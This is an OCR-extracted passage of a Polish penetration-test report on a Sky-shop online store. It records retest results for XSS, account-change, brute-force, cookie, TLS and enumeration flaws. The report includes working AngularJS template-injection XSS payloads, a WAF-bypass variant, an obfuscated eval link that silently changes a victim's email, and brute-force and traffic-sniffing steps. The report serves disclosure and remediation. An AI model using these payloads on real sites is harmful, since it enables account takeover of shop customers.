wys\u0142ali\u@15bmy potwierdzenie zmiany poprzedniego adresu e-mail. Aby aktywowa\u@107 nowy
adres, prosimy klikn\u@105\u@107 w link wys\u@l42any w e-mailu.<br \/><br \/>Poprzedni adres e-
mail b\u@119dzie aktywny do czasu potwierdzenia nowego."}

Przyktadowy link do zmiany hasta:
https://[REDACTED].mysky-shop.pl/register/emailchange/1/key/4[...]6
Po otworzeniu link adres email przypisany do konta zostaje zmieniony.

Atakujacy moze nastepnie zmienic hasto podajac jedynie nowe hasto:

POST /passrecover/?json=1 HTTP/2

Host: [REDACTED].mysky-shop.pl

Cookie: SERVERID=ap[..]eb; cc_cookie={"c[..]Z"}; _fbp=fb.[..]QEA; device_view=full;
[REDACTED]=dd@[..]890; at_priv=630[..]b6c; js_hash=b2[..]43; PHPSESSID=4a[..]is; autologin=eyJ[..]SJ9
Content-Length: 36

X-Requested-With: XMLHttpRequest

User-Agent: [..]

Content-Type: application/x-www-form-urlencoded; charset=UTF-8

Origin: https://[REDACTED].mysky-shop.pl

Referer: https://[REDACTED].mysky-shop.pl/passrecover/

[..]

password=j[..]f&submit=1

Przyktadowa odpowiedz:

HTTP/2 200 OK

Server: Apache

Expires: Thu, 19 Nov 1981 ©8:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache

Content-Type: application/json; charset=utf-8
X-Powered-By: Sky-shop

[..]

w,n

"success":true,"msg":"Has\u@1420 zosta\u@l42o0 zmienione.<br>Na podany adres e-mail:
<b>attacker2@im84wv[...].[REDACTED]<\/b> wys\u@142ali\u@15bmy potwierdzenie zmiany has\u@l42a.
Aby aktywowa\u@107 nowe has\u@1420, prosimy klikn\u@105\u0107 w link wys\u@l42any w e-mailu.<br
\/><br \/>Do czasu aktywacji nowego has\u@l42a b\u@119dzie aktywne stare has\u@142o0."}

Przyktadowy link do potwierdzenia zmiany hasta:




http://[REDACTED].mysky-shop.pl/passrecover/i/1/key/5]...]b

LOKALIZACIA

[REDACTED]

REKOMENDACIA

Zaleca sie, aby aplikacja wymagata ponownej weryfikacji tozsamosci uzytkownika (np. poprzez podanie
aktualnego hasta) przed wykonaniem wrazliwych operacji, takich jak zmiana hasta lub zmiana adresu e-mail.
Mechanizm ten ogranicza ryzyko przejecia konta w przypadku kompromitacji sesji uzytkownika.

Wiecej informacji:

e https://cwe.mitre.org/data/definitions/620.html#oc 620 Potential Mitigations

securitum
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STATUS PO RETESTACH (13.08.2026)

Podatnosc zostata usunieta. W trakcie retestow podjeto proby wykonania kodu JavaScript z wykorzystaniem
oryginalnego payloadu potwierdzajgcego podatnosc:

[{[constructor.constructor(%27alert(document.domain)%27)()]1}]

oraz szeregu wariantow obfuskacji stowa kluczowego constructor a takze alternatywnych gadzetéw sandbox
escape dla AngularJS nieuzywajacych stowa constructor. W odpowiedzi aplikacji na zapytania zawierajace
znaki specjalne potwierdzono wdrozenie kodowania wyjscia - znaki < oraz " sa prawidtowo kodowane
odpowiednio jako &1t; i &quot; we wszystkich miejscach, w ktérych warto$¢ parametru q jest osadzana w
odpowiedzi HTTP.

Podczas retestéw zaobserwowano, ze payload:

[{[x=valueOf.name.constructor.fromCharCode;y=constructor.constructor;z=x(97,108,101,114,116,490,49
»41)5y(2) O1}]

omija wdrozone reguty WAF i jest przetwarzany przez silnik AngularJS, powodujac wyswietlenie na okragto
btedu aplikacji ("Wystapit nieoczekiwany btad"). Proba eskalacji tego zachowania do wykonania kodu
JavaScript poprzez zastapienie fromCharCode bezposrednim wywotaniem alert() jest skutecznie blokowana
przez WAF. Podatnos$¢ pozostaje usunieta, a opisane zachowanie stanowi obserwacje dotyczaca konfiguracji
WAF.

STATUS PO RETESTACH (03.08.2026)

Podatnos¢ nie zostata usunieta. Wykorzystanie podatnosci [SECURITUM-2422444-003] do zmiany adresu e-
mail nie jest juz mozliwe ze wzgledu na wprowadzenie wymogu podania hasta oraz tokenu CSRF. Jednak
podatnos¢ Reflected XSS nadal wystepuje, parametr q jest zwracany bez kodowania, a wykonanie kodu
JavaScript zostato potwierdzone na ponizszym przyktadzie:

https://[REDACTED].mysky-
shop.pl/category/?q=[{[constructor.constructor(%27alert(document.domain)%27)()]}]

oris

Testowana aplikacja podatna jest na atak Reflected Cross-Site Scripting. Atakujacy dodajac do przesytanych
do aplikacji parametrow odpowiednio spreparowany kod HTML/JavaScript, moze w imieniu uzytkownika-
ofiary wykona¢ w aplikacji nieautoryzowane operacje lub nawet przeja¢ dostep do aplikacji.

+48 (12) 352 33 82
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Wiecej informacji:

e https://portswigger.net/research/dom-based-angularjs-sandbox-escapes

e https://sekurak.pl/czym-jest-xss/
e https://cdn.sekurak.pl/podatnosc XSS.pdf
e https://owasp.org/www-community/attacks/xss/

e https://cwe.mitre.org/data/definitions/79.html

WARUNKI NIEZBEDNE DO WYKORZYSTANIA PODATNOSCI

Naktonienie ofiary do otworzenia linku zawierajacego payload XSS.

SzCZEGOLY TECHNICZNE (PROOF OF CONCEPT)

Aby potwierdzi¢ podatnos¢ nalezy otworzy¢ w przegladarce ponizszy link:

https://[REDACTED].mysky-
shop.pl/category/?q=[{[constructor.constructor(%27alert(document.cookie)%27)()]}]

Aplikacja wyswietli ciasteczka uzytkownika (ktére nie maja flagi httponly):

.pl says

c_cookie={"categories"
rketing"],"level"
‘marketing"
Il,"rfc_cookie":false,"consent_date":"20
26-01-28T712:55:4
4.016Z","consent_uuid":"cf
f. ","last_consent_update":"2026-01-28T712:55:44.
015Z"}; _fbp=fb.1.1769604945820.772388988.AQEBAQEA;

js_hash=c« 2; sky2_cart_id=dc

Przyktadowa odpowied? aplikacji, gdzie wartos¢ parametru q jest zwracana w réznych miejscach:

HTTP/2 200 OK

Server: Apache

Expires: Thu, 19 Nov 1981 ©8:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache

Vary: Accept-Encoding

Content-Length: 152192

Content-Type: text/html; charset=utf-8
X-Powered-By: Sky-shop

<!DOCTYPE html>
<html lang="pl" currency="PLN" class=

[.]

>

<meta property="og:title"
content="[{[constructor.constructor('alert(document.cookie)')()]1}] &gt; Sklep - Securitum
pentesty">
[..]
<link rel="next"
href="https://[REDACTED] .mysky-
shop.pl/category/pa/2?q=[{[constructor.constructor(%27alert(document.cookie)%27)()]}]">

securitum
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<link rel="canonical"
href="https://[REDACTED].mysky-
shop.pl/category/?q=[{[constructor.constructor('alert(document.cookie)")()]}]1">

<title>[{[constructor.constructor('alert(document.cookie)')()]}] &gt; Sklep - Securitum
pentesty</title>
[..]

<div class="[..]">

<input aria-label="Wyszukaj produkt"

[..]
/>

[..]

Praktyczne wykorzystanie podatnosci moze polega¢ na zmianie adresu email, podobnie jak
zademonstrowano w podatnosci SECURITUM-2422444-001.

Przyktadowy kod JavaScript zmieniajacy adres email:

with(new XMLHttpRequest)open('POST','/register/emailchange/1/?json=1"),setRequestHeader('Content-
Type', "application/x-www-form-
urlencoded'),send( 'user_email=attackerv2%40im84wvob7jj5[..]. [REDACTED]")

Aby unikna¢ probleméw ze znakami specjalnymi oraz dodatkowo ukry¢ atak, powyzszy kod moze zostac
przekazany w linku uzywajac funkcji eval oraz String.fromCharCode:

https://[REDACTED].mysky-
shop.pl/category/?q=[{[constructor.constructor(%27eval(String.fromCharCode(119,105,116,104,40,110
,101,119,32,88,77,76,72,116,116,112,82,101,113,117,101,115,116,41,111,112,101,110,40,39, 80,79, 83,
84,39,44,39,47,114,101,103,105,115,116,101,114,47,101,109,97,105, 108,99, 104,97,110,103,101,47,49,
47,63,106,115,111,110,61,49,39,41,44,115,101,116,82,101,113,117,101,115,116,72,101,97,100,101, 114
,40,39,67,111,110,116,101,110,116,45,84,121,112,101,39,44,39,97,112,112,108,105,99,97,116,105,111
,110,47,120,45,119,119,119,45,102,111,114,109,45,117,114,108,101,110,99,111,100,101,100, 39,41, 44,
115,101,110,100,40,39,117,115,101,114,95,101,109,97,105,108,61,97,116,116,97,99,107,101,114,118,5
0,37,52,48,105,109,56,52,119,118,111,98,55,106,106,53,108,106,115,102,114,110,111,113,116,118,51,
53,119,119,50,110,113,101,105,50, 55,46,120,46,115,101,99,117,114,97,107,46,112,108,39,41))%27) ()]
3]

Po przejsciu pod tak spreparowany link, e-mail ofiary ataku zostanie zmieniony na e-mail podany przez
atakujacego (po potwierdzeniu nowego maila przez atakujacego).

W podatnosci uzyto formatu:

[{[constructor.constructor('payload JavaScript')()]}]

Podatnos¢ wykorzystuje CSTI (Client Side Template Injection) ktéry mozliwy jest przez uzycie biblioteki
Angular.

LOKALIZACIA

[REDACTED]

REKOMENDACIA

Zaleca sie, aby wszystkie dane otrzymywane od uzytkownika byty odpowiednio filtrowane (odrzucenie
wartosci niezgodnych z szablonem/formatem danego pola), a nastepnie zakodowane na wyjsciu wzgledem
kontekstu, w ktérym sg osadzane (we wszystkich miejscach aplikacji, nie tylko tych wyszczegdlnionych w
czesci ,Szczegbty techniczne”).



W tym celu najlepiej zweryfikowa¢, czy wykorzystywany przez aplikacje framework posiada wbudowane
funkcje, ktore realizuja opisane zalecenie.

Wiecej informacji:

e https://cheatsheetseries.owasp.org/cheatsheets/Cross Site Scripting Prevention Cheat Sheet.ht
ml

e https://cheatsheetseries.owasp.org/cheatsheets/XSS Filter Evasion Cheat Sheet.html

e https://cheatsheetseries.owasp.org/cheatsheets/Input Validation Cheat Sheet.html
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STATUS PO RETESTACH (13.08.2026)

Podatnos¢ zostata usunieta. W formularzu logowania wdrozono mechanizm Cloudflare Turnstile, ktory jest
weryfikowany po stronie serwera. Préba wystania zadania logowania z fatszywym tokenem CAPTCHA skutkuje
odrzuceniem zadania z komunikatem "Brak pola walidacji" bez dojscia do weryfikacji hasta, co potwierdza
skuteczna walidacje po stronie serwera.

STATUS PO RETESTACH (03.08.2026)

Podatnos¢ zostata czesciowo usunieta. Aplikacja wprowadza ograniczenie liczby prob logowania, po 10
nieudanych prébach na dane konto, uzytkownik otrzymuje komunikat o koniecznosci odczekania 2 minut
przed kolejna proba. Jednak brak mechanizmu CAPTCHA, rate limitingu per-IP lub weryfikacji tokenem SMS/e-
mail oznacza, Ze atak typu reverse brute-force (jedno hasto testowane na wielu kontach) pozostaje mozliwy
do przeprowadzenia w sposob zautomatyzowany.

oris

Analiza wykazata, iz aplikacja w zaden sposéb nie ogranicza liczby btednie przeprowadzanych préb logowania.
Atakujacy przesytajac wielokrotnie formularz logowania do aplikacji jest w stanie przeprowadzi¢ atak sitowy
(ang. brute force) i tym samym probowad tamac hasta uzytkownikow aplikacji - co w efekcie moze prowadzi¢
do uzyskania dostepu do ich kont.

Wiecej informacji:

e https://owasp.org/www-community/attacks/Brute force attack
e https://wiki.owasp.org/index.php/Testing for Brute Force (OWASP-AT-004)

WARUNKI NIEZBEDNE DO WYKORZYSTANIA PODATNOSCI

Brak.

SzCZEGOLY TECHNICZNE (PROOF OF CONCEPT)

Przyktad Zadania logowania. Na z6tto zaznaczono pole, gdzie kolejno probowano kolejnych haset:

POST /login HTTP/2

Host: [REDACTED].mysky-shop.pl

Cookie: PHPSESSID=0[..]1; SERVERID=apache-web; [..]
Content-Length: 102

Origin: https://[REDACTED].mysky-shop.pl
Content-Type: application/x-www-form-urlencoded
User-Agent: [..]

Referer: https://[REDACTED].mysky-shop.pl/login/
[..]

email=[...]%2BSkyshop@1%[ REDACTED J&password=[..]&autologin=1&redirect=&submit=submit

W ataku uzyto list 10000 najpopularniejszych haset. Do tej listy dodano jako ostatnie prawidtowe hasto
uzytkownika. Uzywajac 50 watkdw atak trwat okoto 4 minut.

8(12) 35
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Widok z modutu Intruder programu Burp Suite ktérego uzyto do ataku:

Request ~ Payload Status code Response received Length
9985 redfish 200 864 133752
9986 shoes 200 888 133750
9987 00001111 200 761 133753
9988 bailey12 200 919 133753
9989 damian123 200 926 133754
9990 erick 200 927 133750
9991 123a123 200 761 133752
9992 8520 200 834 133749
9993 baracuda 200 887 133753
9994 godlovesme 200 789 133755
9995 hihihihi 200 814 133753
9996 kanker 200 855 133751
9997 lavigne 200 806 133752
9998 ophelie 200 669 133752
9999 apples123 200 730 133754

benny1 200 746 133751

(10001 P 302 640 765

Response

Pretty Hex Hackvertor

HTTP/2 302 Found

Date: Mon, @02 Feb 2026 13:28:18 GMT

Server: Apache

Expires: Thu, 19 Nov 1981 08:52:00 GMT

Cache-Control: no-store, no-cache, must-revalidate

Pragma: no-cache

Set-Cookie: PHPSESSID=e7 ih; path=/; HttpOnly
Set-Cookie: autologin=

ey

expires=Tue, 02 Feb 2027 13:28:18 GMT; Max—-Age=31536000; path=/; HttpOnly

Na powyzszym zrzucie ekranu zaznaczono na zielono ostatnie zadanie, ktére pomimo wczesniejszych prob
zakonczone zostato autoryzacja, co udowadnia, ze nie ma zadnego mechanizmu ograniczajacego ilo$¢ prob
logowania.

Poza enumeracjg i préba odgadniecia hasta, nalezy réwniez pamietac o tzw. odwréconym ataku sitowym (ang.
reverse brute force). W tej wersji ataku hasto zawsze pozostaje to samo, natomiast enumerowane sa nazwy
uzytkownikow.

LOKALIZACIA

[REDACTED]

REKOMENDACIA

Zaleca sie, aby aplikacja blokowata proby masowego logowania sie na jedno konto z réznymi hastami lub na
wiele kont z podanym jednym hastem, np. poprzez stosowanie kodéw CAPTCHA lub tokendw SMS/e-mail w
przypadku wykrycia proby ataku.

Wiecej informacji:

e https://owasp.org/www-community/controls/Blocking Brute Force Attacks

securitum
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[FIXED][LOW] SECURITUM-2422444-006: Brak wygasania linkow do
zmiany hasta / zmiany adresu e-mail

STATUS PO RETESTACH (03.08.2026)

Podatnos¢ zostata usunieta. Wygenerowanie nowego linku powoduje automatyczne uniewaznienie
poprzedniego. Weryfikacja czasu wygasania linkéw nie byta mozliwa do przeprowadzenia w ramach
dostepnego czasu retestow.

(0]:1Y

W trakcie realizacji testow zaobserwowano, iz linki stuzace do resetowania hasta oraz zmiany adresu e-mail
zachowujg wazno$¢ przez nadmiernie dtugi okres (co najmniej kilka dni). Klikniecie w link skutkuje
automatycznym ustanowieniem aktywnej sesji uzytkownika bez koniecznosci dodatkowego uwierzytelnienia.

WARUNKI NIEZBEDNE DO WYKORZYSTANIA PODATNOSCI

Dostep do konta ofiary.

SZCZEGOLY TECHNICZNE (PROOF OF CONCEPT)

Przyktad linku zmiany adresu email, ktéry miat 5 dni w czasie opisywania podatnosci:

Szanowni Parstwo,

dostali$my zadanie zmiany adresu e-mail z: na

W celu aktywacji nowego adresu e-mail prosze kliknaé link:

Chcemy podkresli¢, ze adres e-mail jest rownoczesnie loginem do konta w naszym sklepie, po zmianie adresu e-mail i kliknieciu linku aktywacyjnego kolejne logowanie
bedzie mozliwe tylko przy uzyciu nowego adresu e-mail.

Zadanie wystane po kliknieciu w link:

GET /../3/key/1[..]7 HTTP/2

Host: [REDACTED].mysky-shop.pl

Cookie: PHPSESSID=pl[..]6d; SERVERID=ap[..]eb; [..]
User-Agent: [..]

[..]

W odpowiedzi ustawiana jest nowa sesja, dzieki ktérej uzyskiwany jest dostep do konta uzytkownika:

HTTP/2 200 OK

Server: Apache

Expires: Thu, 19 Nov 1981 ©8:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache

Set-Cookie: PHPSESSID=0[..]2; path=/; HttpOnly
Vary: Accept-Encoding

Content-Length: 132683




Content-Type: text/html; charset=utf-8
X-Powered-By: Sky-shop
[..]

<!DOCTYPE html>
<html lang="pl" currency="PLN" class=" ">

[.]

LOKALIZACIA

[REDACTED]

REKOMENDACIA

Zalecassie, aby linki do zmiany wrazliwych ustawien w aplikacji miaty okreslony czas waznosci. Wygenerowanie
nowego linku powinno réwniez uniewazniac stary link — obecnie kazdy link wystany do uzytkownika moze
zostac uzyty ponownie.

securitum




[FIXED][LOW] SECURITUM-2422444-007: Link do zmiany hasta / adresu
email zawiera adres HTTP

STATUS PO RETESTACH (03.08.2026)

Podatnosc zostata usunieta. Linki do zmiany adresu e-mail oraz resetowania hasta uzywaja protokotu HTTPS.

(0]:1Y

W trakcie realizacji testow zaobserwowano, iz linki stuzace do resetowania hasta oraz zmiany adresu e-mail
wysytane sa do uzytkownikéw z adresem zaczynajacym sie od http zamiast https. Powoduje to, ze gdy
uzytkownik otworzy link, token stuzacy do resetu hasta moze zostac przestany niezaszyfrowany zanim nastapi
przekierowanie. W przypadku podstuchu ruchu sieciowego przez atakujgcego (Man in the Middle, MITM)
atakujacy pozna token.

Wiecej informacji:

e https://cwe.mitre.org/data/definitions/319.html

WARUNKI NIEZBEDNE DO WYKORZYSTANIA PODATNOSCI

Przeprowadzenie ataku Man in the Middle.

SZCZEGOLY TECHNICZNE (PROOF OF CONCEPT)

Przyktad linku do zmiany hasta:

Szanowni Paristwo,

dostalismy zadanie ziii@mahasta dla adresu g-mail:

W celu aktywacji nowego hasta prosze kliknZciink:

Aby symulowac atak Man in the Middle mozna uzy¢ programu Wireshark lub komendy tcpdump:

sudo tcpdump -i any -A -n -s @ 'tcp port 80 and host [REDACTED].[..].pl'

Nastepnie nalezy otworzy¢ link z maila w przegladarce, gdzie usunieto cache (aby przegladarka nie pamietata
przekierowania https).



https://cwe.mitre.org/data/definitions/319.html

Zrzut ekranu przestawiajacy zadanie http z pozyskanym kodem:

$ sudo tcpdump -1 any -A -n -s @ 'tcp port 80 and host mysky-shop.pl'

d HTTP/1.1
Host
User-Agent: Mozilla/5.0
fox/147.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-GB,en;q=0.9
Accept-Encoding: gzip, deflate
Sec-GPC: 1
Connection: keep-alive
Cookie:

Informacje na temat elementéw kodu dotyczacych opisywanej podatnosci zostaty usuniete z raportu.

LOKALIZACIA

[REDACTED]

REKOMENDACIA

Zaleca sie, aby wszystkie odnosniki przesytane w korespondencji e-mail wskazywaty bezposrednio na protokot
HTTPS. Nalezy upewnic sie, ze réwniez inne miejsca w aplikacji nie uzywaja protokotu HTTP do generowania
linkéw czy przekierowan.

securitum



[FIXED][LOW] SECURITUM-2422444-008: Ciasteczka — brak atrybutéw
bezpieczenstwa

STATUS PO RETESTACH (13.08.2026)

Podatnos¢ zostata usunieta. Ciasteczka at_priv, autologin oraz PHPSESSID posiadajg obecnie atrybuty
HttpOnly, Secure Oraz SameSite=Lax.

autologin ey

PHPSES...  jfOpi0dOjrdea9rc9sostj6aan true Lax Wed, 12 Aug 2026 1...

STATUS PO RETESTACH (03.08.2026)

Podatnos¢ zostata czeSciowo usunieta. OdpowiedZ HTTP zawierajaca nagtowek Set-Cookie oraz ciasteczka
bez atrybutéw bezpieczenstwa:

HTTP/2 302 Found

Date: Mon, 03 Aug 2026 11:50:28 GMT

Expires: Thu, 19 Nov 1981 ©8:52:00 GMT

Cache-Control: no-store, no-cache, must-revalidate

Pragma: no-cache

Strict-Transport-Security: max-age=86400; includeSubDomains

Set-Cookie: at_priv=al[..]c6; expires=Tue, 03 Aug 2027 11:50:28 GMT; Max-Age=31536000; path=/;
HttpOnly; SameSite=Lax

Set-Cookie: autologin=[..]3D%3D; expires=Wed, 02 Sep 2026 11:50:28 GMT; Max-Age=2592000; path=/;
HttpOnly; SameSite=Lax

Set-Cookie: PHPSESSID=h[..]9; path=/; secure; HttpOnly; SameSite=Lax

Set-Cookie: loggedInNow=true; expires=Mon, ©3 Aug 2026 11:50:33 GMT; Max-Age=5; path=/; secure;
SameSite=Lax

Set-Cookie: store=deleted; expires=Thu, ©1 Jan 1970 ©0:00:01 GMT; Max-Age=0; path=/; secure;
SameSite=Lax

Location: /index/login/done/back_url/Lw==

Content-Length: ©

Content-Type: text/html; charset=UTF-8

[..]

Referrer-Policy: strict-origin-when-cross-origin

Ciasteczko PHPSESSID posiada obecnie atrybuty HttpOnly, Secure oraz SameSite=Lax. Ciasteczka at_priv oraz
autologin posiadajg atrybuty HttpOnly oraz SameSite=Lax, jednak nadal brakuje im atrybutu Secure.

autologin

PHPSES...  8002use70p8&d...

securitum




(0]:1Y

W trakcie realizacji testow zaobserwowano, iz aplikacja nie ustawia atrybutoéw bezpieczefstwa dla waznych
ciasteczek (ang. cookies). Sa to:

e SameSite — moze zapobiec wystaniu tego ciasteczka w zadaniach pomiedzy réznymi domenami.
Zaimplementowanie wskazanego atrybutu moze by¢é pomocne m.in. w przeciwdziataniu atakom
CSRF.

e Secure - informuje przegladarke, aby dane ciasteczko byto przesytane wytacznie za posrednictwem
szyfrowanego kanatu komunikacji (HTTPS). Atakujacy, ktéremu uda sie podstucha¢ komunikacje,
moze wykorzysta¢ fakt braku flagi secure, m.in. do potencjalnego uzyskania dostepu do wartosci
ciasteczka, co w efekcie moze prowadzic¢ do przejecia konta uzytkownika.

Ponizej zamieszczono liste ciasteczek, dla ktorych nie zidentyfikowano poprawnie ustawionych atrybutow
bezpieczenstwa:

e at_priv
e autologin
e PHPSESSID

Wiecej informacji:

e https://cheatsheetseries.owasp.org/cheatsheets/Session Management Cheat Sheet.html#cookies
https://wiki.owasp.org/index.php/Testing for cookies attributes (OTG-SESS-002)
https://developer.mozilla.org/en-US/docs/Web/HTTP/Cookies
https://cwe.mitre.org/data/definitions/614.html
https://sekurak.pl/flaga-cookies-samesite-jak-dziala-i-przed-czym-zapewnia-ochrone/

WARUNKI NIEZBEDNE DO WYKORZYSTANIA PODATNOSCI

Obecnos¢ innej, mozliwej do wykorzystania podatnosci (np. XSS, CSRF, MitM).

SZCZEGOLY TECHNICZNE (PROOF OF CONCEPT)

Przyktadowe zadanie wystane do aplikacji:

POST /login HTTP/2

Host: [REDACTED].mysky-shop.pl

Cookie: SERVERID=ap[..]eb; cc_cookie={"c[..]Z"}; _fbp=fb.[..]QEA; device_view=full; lastseen=117;
js_hash=aa[..]d7; PHPSESSID=el[..]aq
Content-Length: 102

Cache-Control: max-age=0

Origin: https://[REDACTED].mysky-shop.pl
Content-Type: application/x-www-form-urlencoded
User-Agent: [..]

Referer: https://[REDACTED].mysky-shop.pl/login/
[..]

email=[...]%2BSkyshop@1%[ REDACTED J&password=[..]&autologin=1&redirect=&submit=submit

OdpowiedZ HTTP zawierajaca nagtowek Set-Cookie oraz ciasteczka bez atrybutow bezpieczenstwa:

HTTP/2 302 Found
Server: Apache
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Expires: Thu, 19 Nov 1981 ©8:52:00 GMT

Cache-Control: no-store, no-cache, must-revalidate

Pragma: no-cache

Set-Cookie: at_priv=0a[..]01; expires=Wed, 10 Feb 2027 15:58:48 GMT; Max-Age=31536000; path=/;
HttpOnly

Set-Cookie: autologin=ey[..]J9; expires=Wed, 10 Feb 2027 15:58:48 GMT; Max-Age=31536000; path=/;
HttpOnly

Set-Cookie: PHPSESSID=n[..]2; path=/; HttpOnly

Set-Cookie: store=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/
Set-Cookie: loggedInNow=true; expires=Tue, 1@ Feb 2026 15:58:53 GMT; Max-Age=5; path=/

[..]

Content-Length: @

Content-Type: text/html; charset=UTF-8

[..]

LOKALIZACIA

Zarzadzanie ciasteczkami.

REKOMENDACIA

Zaleca sie, aby aplikacja ustawiata dla waznych ciasteczek atrybuty httponly, SameSite oraz Secure, gdzie dla
atrybutu samesite powinna byc¢ ustawiona jedna z ponizszych wartosci:

e Strict - przegladarka nie wysle ciasteczka w zapytaniach miedzydomenowych,
e Lax-przegladarkawysle ciasteczko w zapytaniach miedzydomenowych wytacznie wtedy, gdy zostang
one wykonane przy uzyciu bezpiecznej metody HTTP (GET, HEAD, OPTIONS, TRACE) oraz beda to

nawigacje najwyzszego poziomu (tj. w pasku adresu bedzie widoczna zmiana domeny); w pozostatych
przypadkach zapytan miedzydomenowych ciasteczko nie zostanie wystane.

Przyktadowy nagtowek ustawiajacy ciasteczko z atrybutami bezpieczefstwa:

Set-Cookie: foo=bar; httpOnly; SameSite=Strict; Secure

Wiecej informacji:

e https://developer.mozilla.org/en-US/docs/Web/HTTP/Cookies#restrict access to cookies
e https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Set-Cookie/SameSite
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[FIXED][LOW] SECURITUM-2422444-010: Wsparcie dla stabych szyfrow

TLS

STATUS PO RETESTACH (03.08.2026)

Podatnosc zostata usunieta. Aplikacja nie wspiera juz stabych szyfréw TLS.

(0]:1Y

Testowana aplikacja wspiera stabe szyfry TLS, ktore wykorzystywane sa do zestawiania bezpiecznego kanatu

komunikacji. Moze to stwarzac¢ ryzyko przejecia lub zmodyfikowania wrazliwych danych uzytkownikéw w
przypadku podstuchu ruchu sieciowego przez atakujacego (Man in the Middle, MITM).

Wiecej informacji:

https:

sekurak.pl/kilka-slow-o-wdrozeniu-ssl-i-tls-cz-i

https:

sekurak.pl/kilka-slow-o-wdrozeniu-ssl-i-tls-cz-ii

https:

cwe.mitre.org/data/definitions/757.html

https:

cwe.mitre.org/data/definitions/326.html

WARUNKI NIEZBEDNE DO WYKORZYSTANIA PODATNOSCI

Przeprowadzenie ataku Man in the Middle.

SZCZEGOLY TECHNICZNE (PROOF OF CONCEPT)

Serwer, na ktérym uruchomiona jest testowana aplikacja, wspiera nastepujace stabe szyfry TLS:

TLSv1.2

TLS_DHE_RSA_WITH_AES_256_GCM_SHA384
TLS_DHE_RSA_WITH_AES_128 GCM_SHA256
TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA384
TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA
TLS_DHE_RSA_WITH_AES_256_CCM_8
TLS_DHE_RSA_WITH_AES_256_CCM
TLS_DHE_RSA_WITH_AES_256_CBC_SHA256
TLS_DHE_RSA_WITH_AES_256_CBC_SHA
TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA256
TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA
TLS_DHE_RSA_WITH_AES_128 CCM_8
TLS_DHE_RSA_WITH_AES_128 CCM
TLS_DHE_RSA_WITH_AES_128 CBC_SHA256
TLS_DHE_RSA_WITH_AES_128 CBC_SHA
TLS_RSA_WITH_AES_256_GCM_SHA384
TLS_RSA_WITH_AES_128 GCM_SHA256
TLS_RSA_WITH_AES_256_CCM_8
TLS_RSA_WITH_AES_256_CCM
TLS_RSA_WITH_AES_128 CCM 8
TLS_RSA_WITH_AES_128 CCM
TLS_RSA_WITH_AES_256_CBC_SHA256
TLS_RSA_WITH_AES_128 CBC_SHA256
TLS_RSA_WITH_AES_256_CBC_SHA
TLS_RSA_WITH_AES_128_CBC_SHA



https://sekurak.pl/kilka-slow-o-wdrozeniu-ssl-i-tls-cz-i/
https://sekurak.pl/kilka-slow-o-wdrozeniu-ssl-i-tls-cz-ii/
https://cwe.mitre.org/data/definitions/757.html
https://cwe.mitre.org/data/definitions/326.html

LOKALIZACIA

Domena [REDACTED].mysky-shop.pl

REKOMENDACIA

Zaleca sie wytaczy¢ wsparcie dla wymienionych szyfrow TLS.
Zawsze aktualna i zalecana konfiguracje algorytmdw mozna znalez¢ na:

e https://ssl-config.mozilla.org/

Wiecej informacji:

e https://cheatsheetseries.owasp.org/cheatsheets/Transport Layer Security Cheat Sheet.html

securitum
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securitum
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[IMPLEMENTED][INFO] SECURITUM-2422444-012: Enumeracja
uzytkownikow

STATUS PO RETESTACH (03.08.2026)

Rekomendacja zostata wdrozona. Endpointy zwracaja obecnie neutralne komunikaty niezaleznie od tego czy
podany adres e-mail istnieje w systemie. Endpoint /passrecover/ zwraca komunikat "Jesli adres e-mail jest
powigzany z kontem w naszym systemie, wystalismy instrukcje dotyczace resetu hasta", natomiast formularz
rejestracji /register/ wyswietla komunikat "Dziekujemy za rejestracje w sklepie" bez ujawniania czy konto o
podanym adresie juz istnieje.

OriIs

W trakcie realizacji testéw wykryto, iz istnieje mozliwos¢ enumeracji istniejacych w systemie uzytkownikow.
Moze to by¢ pomocne przy kolejnych atakach, ktorych celem jest wykonanie préb logowania do aplikacji.

Wiecej informacji:

e https://wiki.owasp.org/index.php/Testing for User Enumeration and Guessable User Account (

OWASP-AT-002)
SZCZEGOLY TECHNICZNE (PROOF OF CONCEPT)

Przyktad #1 — odzyskiwania hasta

Aby potwierdzi¢ mozliwos¢ enumeracji uzytkownikow nalezy przejs¢ na strone https://[REDACTED].mysky-
shop.pl/passrecover/ nastepnie wypetni¢ pola kolejno nieprawidtowym mailem oraz dowolnym hastem.

Przyktad zadania zmiany hasta dla adresu, ktéry nie istnieje:

POST /passrecover/?json=1 HTTP/2

Host: [REDACTED].mysky-shop.pl

Cookie: SERVERID=ap[..]eb; cc_cookie={"c[..]Z"}; _fbp=fb.[..]QEA; js_hash=03[..]cb; PHPSESSID=8b[..]t8
Content-Length: 101

User-Agent: [..]

Content-Type: application/x-www-form-urlencoded; charset=UTF-8

Origin: https://[REDACTED].mysky-shop.pl

Referer: https://[REDACTED].mysky-shop.pl/passrecover/

[..]

email=[...]%2BSkyshop@lnone%[ REDACTED ]&password=[..]&submit=1

Odpowied? aplikacji:

HTTP/2 200 OK

Date: Mon, 02 Feb 2026 12:17:06 GMT

Server: Apache

Expires: Thu, 19 Nov 1981 ©8:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache

Content-Type: application/json; charset=utf-8
X-Powered-By: Sky-shop

"success":false,"errors":["Podany adres e-mail nie istnieje w naszym sklepie, prosimy
sprawdzi\u@107 poprawno\u@15b\u@107 wprowadzonego adresu e-mail"]}



https://wiki.owasp.org/index.php/Testing_for_User_Enumeration_and_Guessable_User_Account_(OWASP-AT-002)
https://wiki.owasp.org/index.php/Testing_for_User_Enumeration_and_Guessable_User_Account_(OWASP-AT-002)

Miejsce w kodzie gdzie zwracany jest btad:
[REDACTED]

Przyktad #2 — rejestracja konta

Podczas enumeracji konta mozliwa jest enumeracja adresu email poprzez wiadomosc informujaca o istnieniu
konta.

Przyktad zadania rejestracji z mailem istniejgcym w systemie:

